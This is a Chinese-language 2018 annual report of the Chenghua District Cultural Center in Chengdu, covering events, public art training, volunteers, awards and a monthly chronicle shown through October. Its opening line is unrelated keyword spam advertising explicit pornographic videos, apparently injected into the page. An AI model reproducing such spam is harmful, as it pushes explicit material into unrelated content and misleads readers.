操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    一、年度概覽

    (一)2018年單位概況

    2018年成華區文化館共有工作人員12人,在崗12人。其中在編7人(其中1人借調局機關),聘用5人。專業人員有音樂2人、舞蹈2人、美術1人、非遺1人、攝影1人,占在崗人員58.3%。平均年齡41歲。現設內部機構“四部一室”:行政辦公室、文藝活動部、文藝輔導部、創作研究部、開放服務部。2018年業務經費280萬元,全部為區財政撥款。現為國家一級館,有各類文化活動廳室20間,具有表演、展覽、講座、排練、培訓、試聽、體驗、沙龍等服務功能,提供日常性品牌服務項目20個。市民文化藝術學校創新啟用文化志愿服務管理機制,公益培訓工作影響力不斷擴大,管理有序,深受市民歡迎和好評。

    (二)2018年工作概況

    1、文化品牌塑造深入推進

    (1)品牌活動。全年共開展品牌文化系列活動136場。其中承辦了“紅色先鋒·唱響天府”成華區慶祝中國共產黨成立97周年主題活動歌詠比賽,得到區領導和參與活動干部職工充分肯定。開展“沙河流韻”系列文化活動28場:主要舉辦了“文化四季風”系列集中示范活動,成華區新春書畫展,美術、書法、社科、舞蹈、音樂、攝影、國學等文化藝術講座,“暢游成都·體驗非遺”系列展演等活動76場。百姓故事會、“文化四季風”系列文化活動32場。

    (2)百姓故事會。完成百姓故事會區級pk賽和4場巡演活動。7個節目進入全市PK賽。區文化館創作2個精品故事,并指導街道組織開展主題故事創作和故事會巡講活動。14個街道創作14個精品故事。

    (3)歷史文化傳承。一是為貫徹落實市第十三次黨代會關“傳承巴蜀文明,發展天府文化”精神,挖掘好古蜀文化、工業文明、客家文化、熊貓文化等成華本土歷史文化資源,2018年完成《成華歷史人文系列叢書》編寫出版3卷(《沙河流年》《保和場》《白蓮池》);啟動第二批街道6卷的編寫,完成大綱和樣章定稿,進入深度采訪和編寫階段;二是編輯出版文學刊物《沙河風》4期,發表文章68篇,其中成華區域特色文化類文章20篇;手繪插圖40幅。向《新成華》報“沙河流韻”文藝副刊、《成都日報》“錦水”副刊和《華西都市報》“寬窄巷”副刊推薦發表文章22篇。

    (4)社會組織和志愿服務。鼓勵社會組織、志愿服務積極參與各類群眾文化活動、公益培新等公共文化服務。其中組織文化志愿者參與室外服務活動100場以上;參與室內免費開放志愿服務74項;參與2018年成華區市民文化藝術學校日常工作1696人次。全年文化志愿者服務達到5000余人次,服務時長近8000小時。

    (5)名家培育和精品創作

    ——名家培育。一是積極實施本土文藝名家推介計劃,策劃推出《成華區本土文藝名家推介計劃作品集》(5名書畫名家),由四川美術出版社公開出版作品集一套5本;三是完成表演類非遺項目(四川清音音頻錄制)文獻續存保護錄制工作。

    ——精品創作。打造非遺藏族牛角琴表演唱《家鄉》《阿克香巴》,代表成華區參加成都市民俗鬧春集中示范活動榮獲三等獎。

    2.免費開放服務扎實開展

    (1)實現文化館全面開放(含周末和工作日錯時延時開放),每周開放73.5小時,常態性免費開放服務項目12個,實際提供免費開放服務項目21個,開展室內活動305場(其中未成年人活動89場),累計接待群眾約12萬余人次。其中常年全天性免費開放服務項目3個,包括場地開放、非遺展示和體驗、公益培訓,每天接待群眾近400余人次;共開展國學講座、書畫展覽、陽光少年成長課堂、文藝沙龍、社區歡樂大舞臺室內演出、京劇票友、越劇票友民樂專場等活動302場次(其中越劇、京劇、大舞臺、民樂等室內演出92場);臨時性免費開放服務項目7個,開展鋼琴沙龍音樂會、交響樂賞析專場、牛角琴專場等室內演出活動共19場次。

    (2)開辦市民文化藝術學校公益培訓3期,開展文化藝術公益培訓,培訓群眾5000余人,培訓主要包括社區群眾培訓、公益培訓進校園、機關干部職工培訓、職工文藝培訓四個層次。

    (三)2018年獲獎情況

    1. 推送選手參加2018年“成都文化四季風·音樂消夏”成都少兒音樂才藝大賽分別榮獲聲樂、器樂組十佳和十優。成華區獲得優秀組織工作獎。

    2.選送言悅合唱隊團演唱《龍的傳人》,參加2018年 “成都文化四季風·歡歌慶秋”群眾歌詠比賽總決賽暨第二屆“金芙蓉”音樂獎決賽榮獲銅獎。成華區獲得優秀組織工作獎。

    3.選送龍鑫藝術團表演舞蹈作品《歡樂盛宴》,參加2018年“成都市文化四季風·勁舞暖冬”群眾舞蹈比賽總決賽榮獲三等獎。

    二、統計分析

    (一)2018年全民藝術普及報告

    1.完善機制,規范管理提高運行效果

    堅持以管理與服務并重的工作原則,制定了學校管理辦法,根據班次的逐漸增加,落實了專人負責學校教學正常管理工作,明確了相關工作職責。創建了學生報名信息庫,優化教師資源庫。多渠道引進優秀教師,現我校常駐教學教師41人,形成各學科教師專業對口,老、中、青教師共同執教的階梯式教師隊伍,擁有較雄厚的師資實力。廣泛吸引大學生志愿者參與市民文化藝術學校志愿服務。制定了春、秋兩季及暑假少兒公益培訓計劃。利用宣傳海報、文化館微信公眾號和文化館官網進行廣泛宣傳,每次報名場面火爆,廣大市民學習熱情不斷高漲。

    2.打造精品,開展豐富多樣的培訓活動

    開設了大量貼近群眾生活、實際需要的課程,全年開設3期培訓,完成成華區文化館市民文化藝術學校公益培訓春、秋兩期及少兒暑期培訓工作。全年共開展8個培訓藝術門類的培訓,具體包括視覺類培訓班,生活美學類培訓班,器樂類培訓班,舞蹈類培訓班,非遺文化類培訓班,語言類培訓班,少兒類培訓班,聲樂類培訓班等。年度累計開設培訓班106個,培訓課時達1696個,累計培訓時2544小時,培訓市民5000余人,60000余人次。且根據市民逐年增長的文化需求,學校培訓項目呈每期遞增趨勢。上下學期分別完成了兩次教學成果展示。其中,上期共展出學員創作的國畫、書法、禪繞畫、攝影、素描作品200余幅。學員們演出節目包括聲樂類、器樂類、舞蹈類、生活美學類及非遺項目表演類等節目24個。表彰本期評選優秀學員39人。下期共展出學員創作的國畫、書法、禪繞畫、攝影、素描作品200余幅。表演包括聲樂類、器樂類、舞蹈類、生活美學類及非遺項目表演類等節目26個。表彰各班優秀學員36人。本年度繼續實施文化志愿者管理制度,上下半年兩期公益培訓分別聘請了10名文化志愿者對各班級進行輔助管理,為學校有序、順利的完成培訓打下了基礎,群眾滿意度明顯提高。

    為充分發揮文化藝術學校陣地作用,成立“陽光心育”青少年志愿者大隊,每周三、五定期在成華區文化館開展“陽光少年”成長智慧課堂,開展青少年校外德育美學教育,上千名青少年及家長參加此項活動。

    (二)2018年數字化服務報告

    2018年成華區文化館網站、公共文化數字化服務平臺、文化e管家和微信公眾號等共發布信息584條,“成華區文化館”門戶網站發布信息共119條。全年網站訪問人數81424人、總閱讀次數93009次。推送“成華區文化館”公眾號微信132條,總閱讀次數86093次。在人流量大的主要樓層設置數字化服務觸摸屏2臺,共開辟9個欄目,12個子欄目。

    2018年完成全區公共文化數字化服務平臺建設,完成“文化天府”數字化服務APP軟件開發和硬件安裝,并于2018年6月12日正式上線使用,聯通與市文化館、區街道綜合文化活動中心的數據鏈接。全年注冊用戶8660人,發布信息135條,點擊量660038次。文化館在“成華文化e管家”成華區公共文化大數據績效管理考核中得分297分,居五城區第三,全市第五。

    2018年“成華區文化館”號全年共發布信息103條,信息推薦量593021次,閱讀量47633次。在“成都市公共企事業單位辦事公開”中全年發布政務信息共95條。

    (三)2018年群眾文化活動要覽

    2018年開展各類群眾文化活動182余場次。承辦“紅色先鋒·唱響天府”成華區慶祝中國共產黨成立97周年主題活動歌詠,成華區“沙河流韻”系列品牌文化活動、書畫展、紀念改革開放40周年暨“成都文化四季風”系列活動、成華區“暢游成都·體驗非遺”系列展演展示活動、百姓故事會PK賽及主題巡演活動、國學講座、社區歡樂大舞臺等。

    (四)2018年講座展覽要覽

    2018年共計舉辦各類講座、展覽活動251場。其中講座共239場。高端藝術講座13場,音樂講座2場,少兒心育公益講座140場,少兒口才公益講座12場,國學講座48場。“沙河風”文藝講堂系列講座24場。

    舉辦2018“迎新春?贊盛世”名人名家書畫展、紀念改革開放40周年中國百年掛歷精品展、成華區少兒優秀美術作品展、2018“淺丘深韻”—卿康山水畫小品展暨新書首發式、2018“錦繡路上寫華章”紀念改革開放40周年書畫展、2018紀念改革開放40周年“翰墨丹青”成都市工筆畫精品展、2018成都市美協首屆寫生作品展、2018“新年文化藝術月?書法大拜年”成都市書協培訓成果展等展覽12場。

    (五)2018年文化志愿服務要覽

    一是廣泛宣傳動員,不斷壯大志愿者隊伍。通過海報宣傳、結合文化館公眾微信平臺和成華區文化館事業單位網站、成華區電視臺及2018年成華區文化館開展文藝活動等形式,開展志愿者招募宣傳,積極招募新志愿者,目前加入成華區文化藝術志愿服務小隊(成華區文化館管理的志愿者隊伍)登記在冊志愿者800人。同時積極發展志愿者組織加入我館文化活動,特別是針對青少年在校學生,組件了陽光心育”社會工作服務中心等青少年志愿服務隊,定期在文化館場館內舉辦活動。

    二是積極開展志愿服務,確保活動高效開展。2018年,志愿者積極熱情參與多項文化活動服務工作。其中組織文化志愿者參與室外服務活動100場以上;參與室內免費開放志愿服務74項;參與2018年成華區市民文化藝術學校日常工作1696人次。全年文化志愿者服務達到5000余人次,服務時長近8000小時。

    (六)2018年對外文化交流活動要覽

    2018年接待荷蘭、法國、比利時藝術家,高新區文化館、西寧市文化館、成都市書法家協會、國家公共文化服務體系建設專家、中國美術家協會、成都市書法家協會、成都市美術家協會到館交流、參觀。組織選派文化志愿者與泰國、新加坡、馬來西亞、美國、韓國、墨西哥、臺灣、澳門、香港等國家和地區的藝術家開展工作交流、藝術展覽、書畫筆會、文化體驗等文化藝術交流。先后進入樂山師范學院、四川大學等高校和雙流區開展公共文化講座,積極傳播公共文化服務和群眾文化。

    (七)館辦群眾文藝刊物和輔導資料要覽

    2018年成華區文化館編輯出版文學刊物《沙河風》4期。發表文章68篇,其中成華區域特色文化類文章20篇;手繪插圖40幅。向《新成華》報“沙河流韻”文藝副刊、《成都日報》“錦水”副刊和《華西都市報》“寬窄巷”副刊推薦發表文章22篇。

    編輯出版《成都·成華歷史人文叢書》,全套計劃出版20卷,2018年公開出版3卷(四川文藝出版社),另完成交付出版社的統稿11卷;順利啟動第二批街道卷(6卷)編寫工作,并完成大綱和樣章寫作。

    (八)2018年業務人員學術成果和獲獎情況要覽

    業務人員美術作品入展2018“名人匯”書畫藝術作品展、2018天府芙蓉節“盛世芙蓉”繪畫作品展、紀念改革開放40周年成都市“翰墨丹青”美術作品展、2018成都市首屆寫生作品展。美術作品分別在《成都日報》錦水欄目、《晚霞報》發表水墨和鋼筆畫作品18件。主持編撰“成華區中青年文藝名家推介計劃”系列作品集(共5卷),并編輯出版《成華區中青年文藝名家推介計劃·蔣松谷卷》(四川美術出版社)。

    (九)2018年主要社會合作關系要覽

    2018年與文化館有合作關系的社會機構30家。其中購買服務的市場主體20家,公益類文化組織10家。市場主體有:成都力揚文化傳播有限公司、成都天仁恒文化傳播有限公司、成都嘉寶演藝設備有限公司、成都源蜀妙博傳播有限公司、成華區志成美工部、四川匹克體育文化傳播有限公司、成都恰旻品牌管理有限公司、成都一帶文化傳播有限公司、成都勵合美創文化傳播有限公司、成都新錦官文化傳播有限公司、成都仁創文化傳播有限公司、成都尚傳偉業文化傳播有限公司、成都御翔文化傳播有限公司、成都市錦江區新智勝廣告設計制作室、成華區紅星霓虹燈銅字廠、成都楓景廣告有限公司、成都三信拓傳文化傳播有限公司、四川眾行遠文化傳播有限公司、成都星耀鑫馬文化傳播有限公司、成都錦藝程教育咨詢有限公司。

    公益文化組織有:成都橙光社會工作服務中心、高新區愛迪社區文化發展中心、四海名揚教育咨詢工作室、福寶印社、“墨繪”美術沙龍、成都少年志愿者陽光心育服務小隊、龍鑫藝術團、小米藝術培訓中心、索朗牛角琴藝術團、院壩春晚。

    三、2018年社會評價

    (一)媒體報道

    2018年成華區文化館推送公眾微信132條;《》《成都日報》《成都商報》《成都群眾文化》《四川藝術網》《四川書法家網》《中國書畫展賽網》《中國書法家論壇》等媒體專題宣傳10篇。

    (二)業內評價

    成華區文化館工作得到市文化館的高度評價。2018年到館參觀、交流、學習的西寧文化館、高新區文化館、荷蘭藝術家、比利時舞蹈家、法國收藏家等,分別對成華區文化館的館舍建設、文化氛圍營造、免費開放服務效能等給予了高度評價和充分肯定。

    四、2018年大事紀要

    1月:

    1. 1月11日上午,成華區文旅體局、成華區文化館組織著名書法家黃炳馀、冷柏青等一行到同樂社區敬老院,用春聯向老人們送上新春祝福。

    2.1月11日下午,西寧市文化館一行到成華區文化館考察交流。雙方重點圍繞館辦刊物的創辦和地方文化資料挖掘,進行了深入細致的交流。

    3.1月12日,成華區文化館市民文化藝術學校2017年第二期公益培訓學習成果展演在區文化館多功能廳成功舉辦。活動分展覽和演出兩部分同時進行:展出學員創作的國畫、書法、禪繞畫、攝影、素描作品200余幅;演出節目包括聲樂類、器樂類、舞蹈類、生活美學類及非遺項目表演類等26個。活動中,區文化館對本學期評選的42名優秀學員進行了表彰。

    4.1月18日,由成華區文旅體局主辦、成華區文化館承辦的春聯迎新春·民俗進萬家——2018成華區原創春聯征集活動面向社會公開征集原創春聯,活動持續至1月24日。

    5. 1月26日下午,2018成華區“春聯迎新春·民俗進萬家”文化惠民活動正式啟動,分別在建設南路圣燈社區“萬科·金色樂府”和青龍綜合街道文體活動中心免費書寫春聯,為基層群眾送去“紅彤彤”的新春祝福。

    6. 1月27日下午,2018成華區社區歡樂大舞臺迎新春越劇專場演出,在成華區文化館多功能廳舉行,與全區越劇愛好者共同喜迎新春。

    7. 2018年1月27日至28日,四川吉安拍賣有限公司、成華區文旅體局、成華區文化館,特邀中央國家機關紅旗飄飄書畫院部分書畫家,聯合西部戰區退休將軍,在成華區文化館藝術展廳舉辦2018“迎新春·贊盛世”名人名家書畫展,展出作品共計300余件,涉及山水、人物、花鳥、走獸、書法等,包括啟功、范曾、林筱之、沈鵬、田野等名家作品。

    8. 1月30日晚7:30,“群星耀天府”成都市首屆群眾精品文藝節目展演在四川錦城藝術宮隆重舉行。成華區文化館精心組織精品節目牛角琴《阿克香巴》參演,獲得現場好評。

    9. 1月31日,成華區文化館參與協辦的“群藝獻瑞·百花鬧春”首屆天府院壩文化群眾春晚決賽在錦江區天府文化院壩內舉行,在新春來臨之際起群眾文化之舞,唱天府生活之歌。

    2月:

    10. 2月1日,由成都市文廣新局、成華區人民政府主辦,成華區文旅體局承辦,成華區文化館執行的2018成華區“春聯迎新春·民俗進萬家”免費寫春聯活動,分別在跳蹬河街道錦繡東方二期和保和街道凱德廣場火熱進行。

    11. 2月5日下午,成華區文化館帶領5位本土青年書法家,參加成都市文廣新局在杜甫草堂舉辦的2018“我為鄰里寫春聯”“春聯迎新春·民俗進萬家”春聯書寫活動。書法家們與幾名國際友人同臺書寫,深受現場群眾歡迎。

    12. 2月6日下午,2018“春聯迎新春·民俗進萬家”成華區寫春聯、送春聯活動持續深入,走進二仙橋街道下澗槽社區。

    13. 2月7日上午,《沙河風》文學沙龍在區文化館舉行。刊物骨干作者、讀者代表、編輯部工作人員相聚在2018新春佳節即將到來之際,暢敘友情,共話刊物發展,為促進成華文學事業發展出謀劃策。

    14. 2月7日下午,由成華區文旅體局主辦,成華區文化館、成華區文化志愿者協會承辦,青龍街道文體活動中心協辦的2018成華區“成都文化四季風·民俗鬧春”集中示范活動暨“新春文化藝術月”“我們的節日·春節”活動第一場,在青龍街道自強社區舉辦。

    15.2月8日下午1:00,2018“春聯迎新春·民俗進萬家”成華區免費寫春聯活動,走進桃蹊路街道文德社區。

    16. 2月8日下午3:00,2018“春聯迎新春·民俗進萬家”成華區免費寫春聯活動暨2018成華區“成都文化四季風·民俗鬧春”集中示范活動第二場,走進雙橋子街道雙園社區,把非遺和民俗文藝節目、春聯和剪紙免費送到老百姓家門口,陪大家熱熱鬧鬧過新年。

    17. 2月9日11:30到13:30,2018“春聯迎新春·民俗進萬家”成華區寫春聯、送福字、送剪紙活動,走進成華區人民政府大院,給機關干部職工送去暖暖的新春祝福。

    18.2月9日下午2:00,2018“春聯迎新春· 民俗進萬家”成華區免費寫春聯、送剪紙活動暨2018“沙河流韻”成華區“成都文化四季風·民俗鬧春”文化科技衛生三下鄉活動第三場,走進二仙橋街道東路社區。

    19. 2月9日晚上6:00至8:00,2018“春聯迎新春·民俗進萬家”成華區免費寫春聯活動,在“成都339”廣場舉行。

    20. 2月18日(正月初三)上午,“魅力夕陽紅·福滿中國夢”2018第二屆全國中老年電視春節聯歡晚會在旅游衛視隆重播出。成華區文化館非遺藝術團選送的非遺歌舞《川妹兒的幸福夢》喜獲最高獎項金項獎和最佳編導獎。

    21.2月25日下午,2018“成都文化四季風·民俗鬧春”市級集中示范活動在簡陽市東城新區中心廣場隆重舉行。成華區文化館選送的牛角琴彈唱《色吉尼瑪》以9.884分的優秀成績排名全市第三名,榮獲二等獎。

    3月:

    22. 3月6日至7日,成華區文化館市民文化藝術學校2018年第一期公益培訓報名工作順利展開。培訓課程涉及舞蹈、聲樂、器樂、曲藝等9個大類38個班,共招收學員1505人。

    23. 3月14日上午,《成華區歷史人文叢書》樣章研討會在成華區文化館會議室舉行。

    24. 3月12日,成華區文化館市民文化藝術學校2018年第一期公益培訓正式開課。

    25. 3月22日下午,國家公共文化服務體系建設專家委員會委員、浙江大學城市學院現代公共文化研究基地主任阮可教授一行,在市文化館書記王利的陪同下,到成華區文化館開展“文化館創新服務建設”調研,并舉行座談。

    26. 3月29日下午,中國書法家協會會員、成都大學客座教授唐樹良老師應市書協約請,到成華區文化館“翰墨天府成都大講堂”開講《提高審美能力與書法學習》講座。

    4月:

    27.4月10日,《成華歷史人文叢書》總編輯部在成華區文化館會議室召開樣章修改意見專題討論會。

    28. 4月17日下午,成華區文化館特邀國學專家曾維義在文藝講座廳開講《成都賦》國學講座。本次講座是區文化館舉辦的2018年第5期“中華傳統文化”系列公益講座。

    29. 4月23日,由成華區文旅體局主辦,天府熊貓塔、成華區文化館承辦的《傳統即時尚——成華區非物質文化遺產圖片展》在天府熊貓塔208米觀景平臺正式拉開帷幕。這是成華區結合區內標志性旅游景點開辟的一個全新的長期非遺展示平臺,把區內豐富優秀的非遺文化介紹給廣大游客朋友。

    30. 4月25日,成華區文化館選送的牛角琴節目《阿克香巴》和《弦子的傳說》成功入選由成都市文聯主辦、成都市音協承辦的“蓉城之春”藝術節音樂會專場。

    31.4月25日下午,由成華區市民文化藝術學校自主舉辦的“成華區社區歡樂大舞臺”——市民文化藝術學校“慶五一”師生聯歡會在區文化館多功能廳精彩開演。

    32.4月27日,由成都市文化廣電新聞出版局主辦,成都市非物質文化遺產保護中心、崇州市文化體育旅游局承辦的“成都市傳統工藝(竹編)大賽”在崇州市道明鎮竹藝村舉行,成華區瓷胎竹編傳承人李澤祥喜獲“傳承之星”。

    33. 4月27日晚,“人間四月·相約蓉城”2018詩歌交響音樂會在四川省體育館隆重舉行。根據上級部門安排,成華區文化館積極參與活動的組織實施,組織、協調、配合部分表演團隊參與排練和演出。

    5月:

    34.5月8日下午,《成華歷史人文系列叢書》第二批“街道卷”動員會在成華區文化館會議室召開。

    35.5月10日下午,由成都市文化館主辦,成華區文化館承辦的成都“百姓故事會基層巡講·走進成華”講座在成華區文化館文藝講座廳精彩開講。活動特邀中國作家協會會員、著名詩人、散文家蔣藍先生主講《從武擔山到西樓》,激發了聽眾對古蜀文化的興趣和濃烈的文化自豪感。

    36.5月16日下午,中國美術家協會河山畫會“中國畫名家走進成華”藝術沙龍在成華區文化館書畫活動室舉辦,對我區書畫藝術發展起到了很好的引領作用。

    37. 5月18日上午,由中共成都市委宣傳部主辦,中共成華區委宣傳部承辦,成華區文化館、成華區文化志愿者協會協辦的2018年成都“百姓故事會”市級優秀故事巡演在成華區文化館多功能廳舉行,受到老百姓的熱烈歡迎

    38.5月22日上午,成華區本土文學刊物《沙河風》2018年第一期文學沙龍在區文化館書畫交流室舉行。《沙河風》骨干作者、讀者、文學界有關專家,以及編輯部負責人等10余人出席活動。

    39.5月24日,由四川省歌舞劇院邀請的“2018第二屆當代城市藝術季”荷蘭藝術家Marloes走進成華區文化館,與成華區骨干團隊進行藝術交流,為成華區“院壩文化”注入新鮮活力。

    40.5月24日晚,由成都市文學藝術界聯合會主辦的2018年成都“蓉城之春”藝術節音樂會在青白江區文體中心隆重開幕。成華區文化館選送的牛角琴藝術團節目《阿克香巴》和《弦子的傳說》帶給觀眾耳目一新的視聽體驗,好評不斷 。

    41. 5月31日下午2:00, 由成都市書法家協會主辦、成華區文化館承辦的“翰墨天府”成都書法大講堂在成華區文化館406文藝講座廳開講。講座特邀中國書法家協會會員、四川省書法家協會青少年書法工作委員會秘書長、四川省詩書畫院特聘美術師李家德以散打的形式講授了《書法學習中的若干問題和解決方法》。

    6月:

    42.6月6日至16日,由中共成華區委宣傳部、成華區文學藝術界聯合會主辦,成華區文化館、成都東山掛歷博物館、成都奇弓傳媒有限公司承辦的成華區紀念改革開放40周年暨“不忘初心,砥礪前行”中國百年掛歷精品展成華區文化館藝術展廳展出。

    43.6月9日下午,由成華區文旅體局主辦,成華區文化館、成華區文化志愿者協會、保和街道綜合文化活動中心承辦的“文化和自然遺產日”暨“暢游成都·體驗非遺”系列展演活動在萬科凱德廣場舉行。

    44.6月14日至28日,成華區文化館2018年暑期少兒舞蹈公益課招生,培訓內容是深受孩子們喜愛的“少兒中國舞”,共招收2個班40名小朋友。

    45.6月14日下午,《成華歷史人文叢書》第二批街道卷編寫啟動工作會在區文化館會議室室召開。

    46.6月20日上午,由成華區文旅體局主辦、區文化館承辦的“2018基層公共文化服務業務培訓班”在龍潭街道綜合文化活動中心順利開班。成都市文化館副研究館員、基層文化工作部主任王兵,應邀就文化館(站)免費開放法律法規、具體執行路徑、績效評估等有關政策和全國各地先進操作經驗進行了講解和分享。

    47.6月21日上午,“傳承巴蜀文明·發展天府文化·社科名家進基層”公益講座在區文化館文藝講座廳舉行。四川大學教授、博士、國內一流專家和國際知名學者方北辰主講《諸葛亮造福成都的故事》。

    48.6月28日下午,成華區文化館市民文化藝術學校2018年第一期公益培訓成果展演在成華區文化館多功能廳成功舉辦。經過4個月的學習,學員們演出了26個自編自導的舞蹈、聲樂、器樂節目,展出了300余件美術、書法、剪紙作品。活動對44名優秀學員進行了表彰。

    7月:

    49.7月2日至27日,成華區文化館2018年暑期少兒舞蹈公益課開班授課。區文化館聘請專業師資,為小朋友們提供免費的中國舞學習體驗課程,培養孩子的藝術興趣,豐富暑期生活。

    50.7月26日下午,由成都市書法家協會主辦、成都市成華區文化館承辦的“翰墨天府·成都書法大講堂”在區文化館文藝講座廳舉辦。成都大學副教授、書法碩士生導師、四川省書法家協會教育委員會委員蔡育坤主講《千古風流點畫中——歷代書法名作賞析》,深受聽眾歡迎。

    51.7月26日,“2018成都國際友城青年音樂周·國際音樂進社區”走進青龍街道致強社區。成華區文化館積極組織安排師資、隊伍,為來訪的國際友人開展了舞蹈、剪紙、書法、器樂排練(清音)等培訓課程體驗,讓國際友人體驗天府文化,向世界傳播一個熱情生動的成都。

    52.7月31日,2018年“成都文化四季風·音樂消夏”成都市少兒音樂才藝大賽成華區選拔賽在成華區文化館多功能廳舉行。比賽評出聲樂、器樂一等獎各1名、二等獎各2名、三等獎各3名,優秀獎共10名,其中的優秀選手將代表我區參加成都市少兒音樂才藝大賽。

    53.7月31日,《成華歷史人文叢書》總編輯部在成華區文化館會議室召開會議,集中討論第二批街道卷編寫大綱。

    8月:

    54.8月1日至3日,2018“成都文化四季風·音樂消夏”成都市少兒音樂才藝大賽在成都市文化館培訓大樓舉辦。成華區選拔賽中脫穎而出的5名優秀小選手摘得聲樂類“十優選手”一個、“十佳選手”兩個,西洋樂類“十佳選手”一個,民樂類“十優選手”一個的好成績。

    55.8月8日,成華區文化館非遺藝術團招收“藝術團員”開始報名。

    56.8月8日上午,成華區文化館和四川省散文學會文友部在文藝講座廳舉辦主題活動。四川省散文學會副會長袁瑞珍攜新書——第八屆冰心散文獎獲獎作品《穿越生命》,到場舉行簽贈活動,與文友分享獲獎感言。

    57.8月10日下午2:30, 由成都市文化廣電新聞出版局主辦,武侯區文化館承辦的成都市少兒音樂才藝大賽頒獎音樂會在武侯區夢想劇場隆重舉行。我區獲獎小選手雙胞胎姐妹花冉升、冉起應邀參加,演唱的《蒲公英去旅行》獲得觀眾一致好評和喜愛。

    58.8月15日至31日,第三批成都“街頭藝人”持證上崗招募選拔在成華區正式啟動。活動由成都市文化廣電新聞出版局主辦,成都市文化館、成都市文化志愿者協會、成都市成華區文化廣電新聞旅游體育局承辦,成華區文化館、成華區文化志愿者協會協辦。

    59.8月17日至9月26日,由四川歌舞劇院·四川現代舞團牽頭的“2018城市當代藝術表演季”工作坊在成都市成華區文化館展開。來自國內外的資深當代藝術導師們開展為期近兩個月的體驗與密集課程訓練,打破傳統舞蹈教育模式,營造現當代藝術學習氛圍,是中國西南部首個以當代舞為主題的藝術工作坊。

    60.8月19日下午,由四川美術出版社、成都市美術家協會、成都市文藝評論家協會、成華區美術家協會主辦,成都市成華區文化館承辦的“淺丘深韻”——卿康山水畫小品展暨新書首發式在成華區文化館隆重舉行。展覽持續至26日,共展出80件山水畫作品。

    61.8月20至24日,第十三屆香港國際武術比賽在香港隆重舉行,吸引了來自18多個國家(地區)近2500名參賽者。成都市成華區武舞項目選手凌麗華取得劍術第一名和“最佳運動員”稱號的好成績。

    62.8月23日,成都市第三批“街頭藝人”招募面試在成華區文化館圓滿結束。此次招募共有150余名選手進入到面試,通過面試后的藝人將參加全市的集中統一培訓,培訓合格后頒發資格證書,并于9月1號正式持證走上街頭表演。

    63.8月23日下午,成華區文化館邀請四川音樂學院青年教師、男高音歌唱家雍建軍在文藝講座廳舉辦“公益聲樂互動講座”,幫助聽眾從根本上解決歌唱發聲的難題,把健康歌唱的理念傳遞給現場聽眾。

    64.8月29日下午,法國收藏家Wally Thomas-Hermes攜女兒Jade Thomas-Hermes到成華區文化館進行文化交流,體驗中國傳統文化。

    65.8月29日, 2018年“沙河流韻”成華區“成都文化四季·音樂消夏”集中示范活動聲樂器樂大賽在區文化館多功能廳舉辦。經專業評委現場評分,由萬年場街道選送的二胡獨奏《新賽馬》獲器樂類一等獎,由府青路街道選送的男聲獨唱《美麗的樓蘭姑娘》獲聲樂類一等獎,另外評出二等獎各2名、三等獎各4名、優秀獎各7名、優秀組織工作獎7個。

    66.8月30日下午,四川大學藝術學院書法專業教師(副研究員),四川大學考古學在站博士后(文物學與藝術史),中國書法家協會會員,四川省書法家協會理事兼正書、篆刻藝術委員會委員楊帆受邀到成華區文化館開講“翰墨天府”成都書法大講堂:《書法篆刻創作四題——從我這五年的書法篆刻實踐談起》。

    67.8月31日上午,成都市文化館數字化部副主任陳現春蒞臨區文化館,對公共數字文化服務平臺的建設和運用管理進行了現場指導及座談交流。

    9月:

    68.9月1日上午,由四川省現代藝術促進會、四川省草書研究會主辦,四川省現代書畫研究院、成都市成華區文化館承辦的紀念改革開放40周年書畫展“錦繡路上寫華章”在成華區文化館藝術展廳隆重開幕。展覽共展出書畫作品七十余幅,持續至9月10日,受到書畫愛好者和群眾熱烈歡迎。

    69.9月4日至5日,成華區文化館市民文化藝術學校2018年第二期公益培訓報名展開。本期培訓課程涉及舞蹈、聲樂、器樂、曲藝等8個藝術門類,共開設36個班次,招收學員1080人。

    70.9月10日,成華區文化館市民文化藝術學校2018年第2期公益培訓班正式開課。學員們全情投入,學習氛圍十分濃厚。

    71.9月13日下午,由成都市文化廣電新聞出版局主辦,四川當代油畫院、成都市成華區文化館承辦的“成都市2018年公共文化服務(公益藝術講座)”在成華區文化館文藝講座廳開講。著名攝影家王琦,為現場攝影愛好者帶來《不一樣的青藏高原》講座,分享了多年航拍青藏高原的經驗和感受。

    72.9月14日下午,由成都市文化廣電新聞出版局主辦,成都市文化館、都江堰市文化廣電新聞出版局、成都市文化志愿者協會承辦的紀念改革開放40周年2018“成都文化四季風·歡歌慶秋”群眾歌詠比賽復賽在都江堰市文化館舉行。我區組織選送的合唱隊伍以總排名第五的成績成功晉級決賽。

    73.9月19日,成華區文化館持續文化惠民,特邀武當太極、武學傳人王明山老師及其團隊推出《武當養生太極班》,面向全區群眾免費招生。

    74.9月21日上午,2018年“沙河流韻”成華區“暢游成都·體驗非遺”系列活動暨“我們的節日·中秋”專場在龍潭上古天地廣場歡樂上演。

    75.9月21日下午,為充分挖掘傳統節日內涵,激發廣大群眾的愛國主義情懷,“文旅成華·歡樂中秋”成華區文化館中秋國慶詩歌朗誦會在區文化館406室舉行。

    76.9月26日下午,2018成華區美協書協公益大講堂,在成華區文化館舉行。成華區文化館館長蔣松谷應邀主講了《文化·藝術·生活》,與現場聽眾分享了中西方文化差異和現代藝術的邊界兩個話題。

    77.9月26日全天,由成華區文旅體局主辦,區文化館、區文化志愿者協會承辦的2018年“沙河流韻”成華區“暢游成都·體驗非遺”系列活動“進公園”專場在新華公園舉行,為廣大老百姓送上一場視覺盛宴,共享中秋、國慶“雙節”的歡樂氛圍。

    78.9月30日至10月20日,由成都市成華區文學藝術界聯合會、成都當代工筆畫研究會主辦,成都市成華區文化館、四川旭日裝裱藝術畫院承辦的紀念改革開放四十周年暨慶祝新中國成立69周年·翰墨丹青美術作品展在區文化館藝術展廳舉行。展覽展出六十余幅作品,讓高雅藝術走進基層。

    10月:

    79.10月9日下午,2018年走基層文化惠民演出(劇目類)話劇《第一書記》在成華區文化館多功能廳演出。活動由成都市文化廣電新聞出版局主辦,成都市成華區文化館承辦,成都前進歌舞團演出。

    80.10月10日上午,四川省散文學會在成華區文化館406室開展工作通報會暨文友部文學講座活動。

    81.10月12日上午,本土文學刊物《沙河風》文學沙龍在成華區文化館書畫交流室室舉行。

    82.10月12日,紀念改革開放40周年“沙河流韻”2018年成華區“成都文化四季風·歡歌慶秋”集中示范活動暨社區合唱節在天府熊貓塔舉辦。龍潭街道選送的《龍的傳人》獲得一等獎,另評出二等獎2名、三等獎3名、優秀獎7名、優秀組織工作獎6個。

